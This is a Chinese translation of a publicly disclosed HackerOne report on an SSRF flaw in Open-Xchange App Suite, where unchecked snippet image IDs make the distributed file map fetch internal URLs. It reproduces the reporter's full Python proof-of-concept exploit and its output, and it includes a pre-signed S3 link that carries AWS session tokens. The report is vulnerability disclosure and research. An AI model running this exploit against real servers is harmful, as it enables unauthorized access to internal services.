【漏洞赏金】Open-Xchange SSRF-分布式文件漏洞

admin

102205
文章

87
评论

2021年9月14日02:31:05评论62 views字数 9599阅读31分59秒阅读模式

翻译自SSRF-分布式文件的未经检查的代码段ID

状态：已解决（关闭）

漏洞公开：2021年5月1日晚上11:16 +0800

报告于：2020年10月5日上午5:48 +0800

漏洞：服务器端请求伪造（SSRF）

奖金：$ 1,500

严重程度：高（7〜8.9 ）

参加者：朱蒂拉

能见度：公开（完整）

资产：https://github.com/open-xchange/appsuite-middleware

（源代码）

朱蒂拉向Open-Xchange官方提交报告

## ManagedFile

`ManagedFiles`基本上只是临时文件，具有用于各种目的的ID。

创建托管文件后，该文件将在本地文件映射中注册，该文件映射只是从String（UUID）到ManagedFile的内部映射，还可以选择在分布式文件映射中注册，该分布式文件映射是从将String（UUID）转换为String（URL）。

当通过ID访问托管文件并且该托管文件不存在于本地映射中时，将检查分布式映射，并从注册的URL下载该文件。

##片段

jax / snippet？action = new 端点允许创建内容片段，通常是邮件签名。请求正文可能如下所示：

```json{"type":"signature","module":"io.ox/mail","displayname":"<name>","content":"<content>","misc":{"content-type":"<content_type>","imageId":"<image_id>"   }}```

`imageId`字段稍后将变得很重要。有两个代码段服务：*`MimeSnippetService`，需要`filestore'功能*`RdbSnippetService`，没有任何要求来宾用户没有`filestore`功能，因此，将`RdbSnippetService`用于此类功能。会议，这是这里的重要会议。

```java// com.openexchange.snippet.rdb.RdbSnippetManagement.getSnippet0Object misc = snippet.getMisc();final String imageId = SnippetUtils.getImageId(misc);ManagedFileManagement mfm = Services.getService(ManagedFileManagement.class);if (Strings.isNotEmpty(imageId) && !mfm.contains(imageId)) {ManagedFile mf = mfm.createManagedFile(imageId, attachment.getInputStream());```

但是，RDB仅在`com.openexchange.snippet.rdb.supportsAttachments`配置选项设置为true处理附件。默认情况下，它设置为** false **。

##漏洞

没有检查指定的ID。它可以是任何字符串，而不仅仅是UUID。此ID将是在分散地图中注册的URL的一部分，并且可能导致加载不正确的URL。

在集群设置中，我们可以在一个节点上创建一个恶意代码段，然后立即从另一个节点加载该代码段，该节点仅会在分布式映射中看到它，并从

我们注册的更改的URL加载它。可能是我没有测试。

在单节点设置中，我们必须等待垃圾回收过期的托管文件。清理每2分钟进行一次，文件的生存时间为最后一次* touch *后5分钟。因此，等待不是问题。文件仅从本地地图中删除，并保留在分布式地图中，因此，下次访问它们时，它们将再次直接从包含我们更改过的URL的分布式地图中加载。这就是我的演示漏洞利用所做的。

##摘要

*默认情况下**禁用

`com.openexchange.snippet.rdb.supportsAttachments`。

*但是启用后，可以创建具有任意ID的托管文件，从而导致SSRF。

*并且它可以被匿名来宾用户利用。

＃＃重现步骤

*启用在配置RDB片段附件并重新启动服务器

``` ＃/opt/open-xchange/etc/snippets.properties com.openexchange.snippet.rdb.supportsAttachments =真```

*运行我的演示利用F1014374，这将URL设置为内部的/ stats / diagnostic？param = version页面，并应产生如下输出：

```html...success. different content received<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>Diagnostic</title></head><body><h1>Version</h1><hr/>7.10.4-Rev9</body></html>```

附件下载：

https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/V7nyfbBmCrao5jnXmXSyR2EL?response-content-disposition=attachment%3B%20filename%3D%22ox-rdbsnipid.py%22%3B%20filename%2A%3DUTF-8%27%27ox-rdbsnipid.py&response-content-type=text%2Fx-python&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQ3QFMWDX3%2F20210502%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20210502T082145Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEAaCXVzLXdlc3QtMiJHMEUCIHSy7zf6zD%2FOjyNqnJKyV8684YghBTDVlqQtmWX4bupnAiEAt1GFwJBn2u%2FPBYDG1h%2FWM7WuQEkVay4EIwIdMO%2BNEhkqvQMIuf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARABGgwwMTM2MTkyNzQ4NDkiDJUt1bE8xCMxFSRD5SqRA3hcdfSDKM0SwauqkmArCQZEIZqAH%2FyX5C3nfCqOjS%2B1ngBZ8gGVzFZ9UTCGvlY0xObXT1HTba95asHcz%2FaoBN3Sq9CLOGpWjuKrdtPbAc5d18y8SkLTQvrvFHBALRlAHeMEs3p9Q0eLx4kWC77OxBa8bpJlSNdavHriD7Ya%2BBi%2F1sP1%2BFUumlJNRDuiIJBGiKw%2Btw9YqXAXgb%2FrFGYvuHp9SzC2Hxxb%2BzaLWtZJhjqiBm35k0mszmTivH0ftqLVzmVnFSodWdFt1YM%2FXfVkZLVZMxpVj1bZF28%2BntEWBepzqW%2BzKsNrjL9lHRklFoSOjrlS90G4yfIz%2FX2vHDjrqw9YoLarvruclNLE5gUwT99wXA4KeuUbxq3ruuJBHAMkcadidfuqHiM24s0QGVS1SgXFPa7tqDJYdJvgbory2EMVVY8vHgq%2FIUqmjJWskZ0sr8G8a0YpYUMjxRz68Rjrb55JVeV1XUSUUUJ33GPZiMpsLA5rgMUVKVtQTquX%2BK12ozuMZjnNS9MAadtkFzkitLCFMN6quYQGOusBD7wFeUGYURTR5KSTqrIDOrie%2BYMoGcDdMc2TLFc43ucktSIklbZtrwPP1BJ3D3CUdTNyOannWJFAFtFkdtoiXuZxqw%2B4CHxfS9JMOCqJGq%2BZluhxK7XScekemU3KASWzR%2FXy51Nd1ta0y8zqUrdytQjnEUP54Jimopi0l2iUXwXzNvOjI5m%2FTQ%2BgngRGriZVuAcGSl8qZbfYjosYGTJ1SZxaSqbFwIfiNRSIoM%2Fc93qdPN1g2r5k2kv5mMKm1FakbfUVr203%2B2CK%2B3IawcfRyVw5eNTH13XHDCzJSbamH8iMQ94qkIO9OX8Kjg%3D%3D&X-Amz-Signature=1d8bd6a2e107f8a4010fac653628d27c48609f59644a0de31f4cdff85664c5e6

附件内容：

import jsonimport reimport requestsfrom datetime import timedeltafrom time import time, sleepfrom urllib.parse import urljoin
HOST = 'http://192.168.56.101'USERNAME = 'david'PASSWORD = 'secret'
IMAGE_ID = '../../stats/diagnostic?param=version&uniq=' + str(time())IMAGE_DATA = (b'x89x50x4ex47x0dx0ax1ax0ax00x00x00x0dx49x48x44x52'b'x00x00x00x04x00x00x00x04x08x06x00x00x00xa9xf1x9e'b'x7ex00x00x00x04x73x42x49x54x08x08x08x08x7cx08x64'b'x88x00x00x00x1fx49x44x41x54x08x99x63xf8xcfxc0xf0'b'xdfxe7x3fxc3x7fx06xb5xffxffxebx19xccxffx33x31xa0'b'x01xc2x02x00xe3x79x08x28xf8xddxbfx7ax00x00x00x00'b'x49x45x4ex44xaex42x60x82')
class OX:def __init__(self, host):        self.sess = requests.Session()        self.host = host        self.sid = None
def login(self, username, password):        self.logout()
        params = {'action': 'login'        }        data = {'name': username,'password': password        }        url = urljoin(self.host, '/ajax/login')        resp = self.sess.post(url, params=params, data=data)try:            self.sid = json.loads(resp.text)['session']except Exception as e:            print(resp.status_code)            print(resp.text)raise e
def share_login(self, url):        self.logout()
        resp = self.sess.get(url, allow_redirects=False)        location = resp.headers['Location']        self.sid = re.findall(r'&session=(.*?)&', location)[0]
def logout(self):if not self.sid:return
        params = {'session': self.sid,'action': 'logout',        }        url = urljoin(self.host, '/ajax/login')        self.sess.get(url, params=params)        self.sess.cookies.clear()        self.sid = None
def config(self, path=''):        params = {'session': self.sid        }        url = urljoin(self.host, '/ajax/config/' + path)        resp = self.sess.get(url, params=params)try:return json.loads(resp.text)['data']except Exception as e:            print(resp.status_code)            print(resp.text)raise e
def capabilities_get(self, capability_id):        params = {'session': self.sid,'action': 'get','id': capability_id        }        url = urljoin(self.host, '/ajax/capabilities')        resp = self.sess.get(url, params=params)try:return json.loads(resp.text)['data']except:return None
def snippet_new(self, name, content, content_type, image_id):        params = {'session': self.sid,'action': 'new'        }        data = {'type': 'signature','module': 'io.ox/mail','displayname': name,'content': content,'misc': {'content-type': content_type,'imageId': image_id            }        }        url = urljoin(self.host, '/ajax/snippet')        resp = self.sess.put(url, params=params, data=json.dumps(data))try:return json.loads(resp.text)['data']except Exception as e:            print(resp.status_code)            print(resp.text)raise e
def snippet_delete(self, snippet_id):        params = {'session': self.sid,'action': 'delete','id': snippet_id        }        url = urljoin(self.host, '/ajax/snippet')        self.sess.put(url, params=params)
def snippet_attach(self, snippet_id, name, content, content_type):        params = {'session': self.sid,'action': 'attach','id': snippet_id,'force_json_response': True        }        files = {'file': (name, content, content_type),        }        url = urljoin(self.host, '/ajax/snippet')        resp = self.sess.post(url, params=params, files=files)try:return json.loads(resp.text)['data']except Exception as e:            print(resp.status_code)            print(resp.text)raise e
def snippet_get(self, snippet_id):        params = {'session': self.sid,'action': 'get','id': snippet_id        }        url = urljoin(self.host, '/ajax/snippet')        resp = self.sess.get(url, params=params)try:return json.loads(resp.text)['data']except Exception as e:            print(resp.status_code)            print(resp.text)raise e
def files_new(self, folder_id, name, content, content_type):        params = {'session': self.sid,'action': 'new','extendedResponse': True,'force_json_response': True,        }        files = {'json': (None, json.dumps({'folder_id': folder_id})),'file': (name, content, content_type),        }        url = urljoin(self.host, '/ajax/files')        resp = self.sess.post(url, params=params, files=files)try:return json.loads(resp.text)['data']['file']except Exception as e:            print(resp.status_code)            print(resp.text)raise e
def file_get(self, file_id):        params = {'session': self.sid,'action': 'get','id': file_id        }        url = urljoin(self.host, '/ajax/file')        resp = self.sess.get(url, params=params)return resp.content if resp.status_code == 200 else None
def share_get_link(self, folder_id, file_id):        params = {'session': self.sid,'action': 'getLink',        }        data = {'module': 'infostore','folder': folder_id,'item': file_id,        }        url = urljoin(self.host, '/ajax/share/management')        resp = self.sess.put(url, params=params, data=json.dumps(data))try:return json.loads(resp.text)['data']['url']except Exception as e:            print(resp.status_code)            print(resp.text)raise e

def main():    snippet_id = None
    ox = OX(HOST)
try:        print('login')        ox.login(USERNAME, PASSWORD)
if ox.capabilities_get('filestore') is not None:            print('drop the filestore capability')            folder_id = ox.config('folder/infostore')            print('upload a file')            file = ox.files_new(folder_id, 'image.png', IMAGE_DATA, 'image/png')            print('share the file')            share_link = ox.share_get_link(folder_id, file['id'])            print('share login')            ox.share_login(share_link)if ox.capabilities_get('filestore') is not None:                print('failed to drop the filestore capability')return            print('success. dropped the filestore capability')
        print('create a snippet')        snippet_id = ox.snippet_new('mysnip', 'hello', 'text/plain', IMAGE_ID)        print('create an attachment')        snippet_id = ox.snippet_attach(snippet_id, 'image.png', IMAGE_DATA, 'image/png')        print('load the snippet')        ox.snippet_get(snippet_id)        print('check the managed file')        attachment_data = ox.file_get(IMAGE_ID)if attachment_data is None:            print('failure. managed file was not created')            print('is com.openexchange.snippet.rdb.supportsAttachments set to true?')return        print('success. managed file created')
        print('wait for local delete...')        start_time = time()        wait_period = 7 * 60 + 30while time() < start_time + wait_period:            sleep(1)            elapsed = int(time() - start_time)            print('%s / %s' % (timedelta(seconds=elapsed), timedelta(seconds=wait_period)), end='r')        print('')
        print('check the managed file')        data = ox.file_get(IMAGE_ID)if data != attachment_data:            print('success. different content received')try:                data = data.decode()except:pass            print(data)else:            print('failure. the file has not changed')finally:if snippet_id:            ox.snippet_delete(snippet_id)        ox.logout()

if __name__ == '__main__':    main()

Open-Xchange员工发表评论。

感谢您的提交！我目前正在接受审核，将很快回复您的报告。
Open-Xchange员工发表评论。

很不错的发现！
Open-Xchange员工已将漏洞严重性更新为“高” 。
Open-Xchange员工向朱蒂拉奖励了1,500美元的赏金。

原文翻译自：https://hackerone.com/reports/997926

本文始发于微信公众号（Ots安全）：【漏洞赏金】Open-Xchange SSRF-分布式文件漏洞

左青龙
微信扫一扫

右白虎
微信扫一扫

【漏洞赏金】Open-Xchange SSRF-分布式文件漏洞

浅谈API漏洞挖掘

滥⽤分叉完成代码注⼊对抗EDR

记一次参数走私导致的权限绕过

高级黑客技术-5. 反向Shell/Shell

第91篇：shiro反序列化漏洞绕waf防护的方法总结（上篇）

hacker10101

主权与信任：网络时代的供应链安全

深入了解DHCP

护网怎么做，护网前、护网中，护网后，总共60道工序，一道一道讲清楚

【论文速读】|大语言模型（LLM）智能体可以自主利用1-day漏洞

发表评论

在线咨询

微信